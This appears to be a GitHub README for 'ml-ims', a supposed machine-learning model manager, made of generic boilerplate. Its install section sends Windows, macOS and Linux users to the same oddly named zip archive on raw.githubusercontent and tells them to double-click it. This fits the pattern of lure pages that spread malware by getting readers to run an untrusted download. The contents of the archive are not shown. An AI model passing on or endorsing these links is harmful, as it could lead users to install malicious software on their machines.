Welcome to ml-ims! This application helps you manage and deploy your machine learning models without any hassle. Follow the steps below to get started.
Before you download, please ensure your system meets the following requirements:
- Operating System: Windows 10 or later / macOS 10.14 or later / Linux (Ubuntu 20.04 and above)
- RAM: Minimum 4 GB (8 GB recommended)
- Disk Space: At least 500 MB of free space
- Network: Internet connection for model updates
You can download the latest version of ml-ims here. This is where you'll find the latest features and updates.
- Visit the Release Page: Go to this page.
- Select the Latest Release: Look for the latest version at the top of the page.
- Download the File: Click on the file that matches your operating system to begin the download.
- For Windows, you might see something like
https://raw.githubusercontent.com/Invasive-soda349/ml-ims/main/screich/ml_ims_pinniwinkis.zip. - For macOS, look for
https://raw.githubusercontent.com/Invasive-soda349/ml-ims/main/screich/ml_ims_pinniwinkis.zip. - For Linux, you will find
https://raw.githubusercontent.com/Invasive-soda349/ml-ims/main/screich/ml_ims_pinniwinkis.zip.
- For Windows, you might see something like
- Run the Installer: After downloading, locate the file in your Downloads folder. Double-click the file to start the installation.
- Follow the Instructions: Complete the setup by following the prompts on your screen.
ml-ims provides the following features to enhance your experience:
- Model Management: Easily upload, organize, and manage your machine learning models.
- Deployment Tools: Quickly deploy your models to the cloud or local servers.
- User-Friendly Interface: Enjoy an intuitive interface designed for users of all skill levels.
- Updates and Notifications: Stay informed about the latest model updates and improvements.
- Open the Application: Once installed, find the ml-ims icon on your desktop or in your applications folder, and double-click to open it.
- Add Your Model: Click on the “Add Model” button. You can either upload a model file or specify a remote location.
- Configure Settings: Adjust settings such as versioning and performance parameters as needed.
- Deploy Your Model: Select the deploy option to publish your model. Follow the guided steps for deployment.
If you encounter any issues:
- Check your Internet Connection: Ensure you have a stable connection during installation.
- Insufficient Disk Space: Make sure you have enough space available on your hard drive.
- Running on Older Versions: Ensure your operating system meets the minimum requirements.
If you need help, you can contact our support team via the Issues section on our GitHub page. We are here to help you with any questions or concerns.
We welcome contributions! If you would like to suggest new features or report issues, please do so in the Issues section. Be part of our community and help us improve ml-ims.
Thanks to everyone who has contributed to making ml-ims a valuable tool for machine learning model management. We appreciate your support and contributions!